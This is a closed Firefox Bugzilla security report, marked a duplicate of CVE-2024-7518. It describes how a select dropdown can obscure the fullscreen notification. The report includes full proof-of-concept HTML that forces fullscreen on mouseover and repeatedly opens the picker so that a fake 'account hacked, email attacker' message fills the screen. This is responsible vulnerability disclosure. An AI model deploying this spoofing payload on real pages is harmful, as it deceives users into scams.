Closed
Bug 1906957
Opened 2 years ago
Closed 2 years ago
Full screen notification can obscure using select option
Categories
(Core :: DOM: Core & HTML, defect)
Tracking
()
RESOLVED
DUPLICATE
of bug 1875354
People
(Reporter: lijoparappur, Unassigned)
References
Details
(Keywords: csectype-spoof, reporter-external)
Attachments
(1 file)
|
817.72 KB,
video/webm
|
Details |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Steps to reproduce:
chrome Issue 41494315 Select Options Can Escape Across Tabs is working here i think it need to fix here while checking it i found we can obscure fullscreen notification with changed poc.
Actual results:
Click Anywhere
Move mouseover select option
Load below html
Attaching video proof
Expected results:
<!DOCTYPE html>
<html>
<style>
select {
all: initial;
text-align: center;
width: 100vw;
font-size: 1.5rem;
}
center {
margin-top: 0vh;
}
option {
height: 100vh;
}
</style>
<body>
<center>
<select id="mySelect" onmouseover=document.documentElement.requestFullscreen();>
<option disabled> </option>
<option disabled></option>
<option disabled></option>
<option disabled>  Your account just got hacked. Email help@attacker.com to save your account.</option>
<option disabled></option>
<option disabled></option>
<option disabled></option>
</select>
<h1>Click Anywhere</h1>
</center>
</body>
<script>
var selectElement = document.getElementById("mySelect");
window.addEventListener('click', function () {
setInterval(function () {
selectElement.showPicker();
}, 0);
});
</script>
</html>
Updated•2 years ago
|
Group: firefox-core-security → dom-core-security
Component: Untriaged → DOM: Core & HTML
Keywords: csectype-spoof
Product: Firefox → Core
Updated•2 years ago
|
See Also: → https://issues.chromium.org/issues/41494315
Comment 2•2 years ago
|
||
Bug 1902131 also references this same Chromium issue. I have not compared the test cases.
See Also: → 1902131
Comment 3•2 years ago
|
||
This also looks very similar to bug 1875354 to me.
Updated•2 years ago
|
See Also: → CVE-2024-7518
Comment 4•2 years ago
|
||
I think we can mark this as a dup of bug 1875354
Status: UNCONFIRMED → RESOLVED
Closed: 2 years ago
Duplicate of bug: CVE-2024-7518
Resolution: --- → DUPLICATE
Updated•2 years ago
|
Keywords: reporter-external
Updated•1 year ago
|
Group: dom-core-security
You need to log in
before you can comment on or make changes to this bug.
Description
•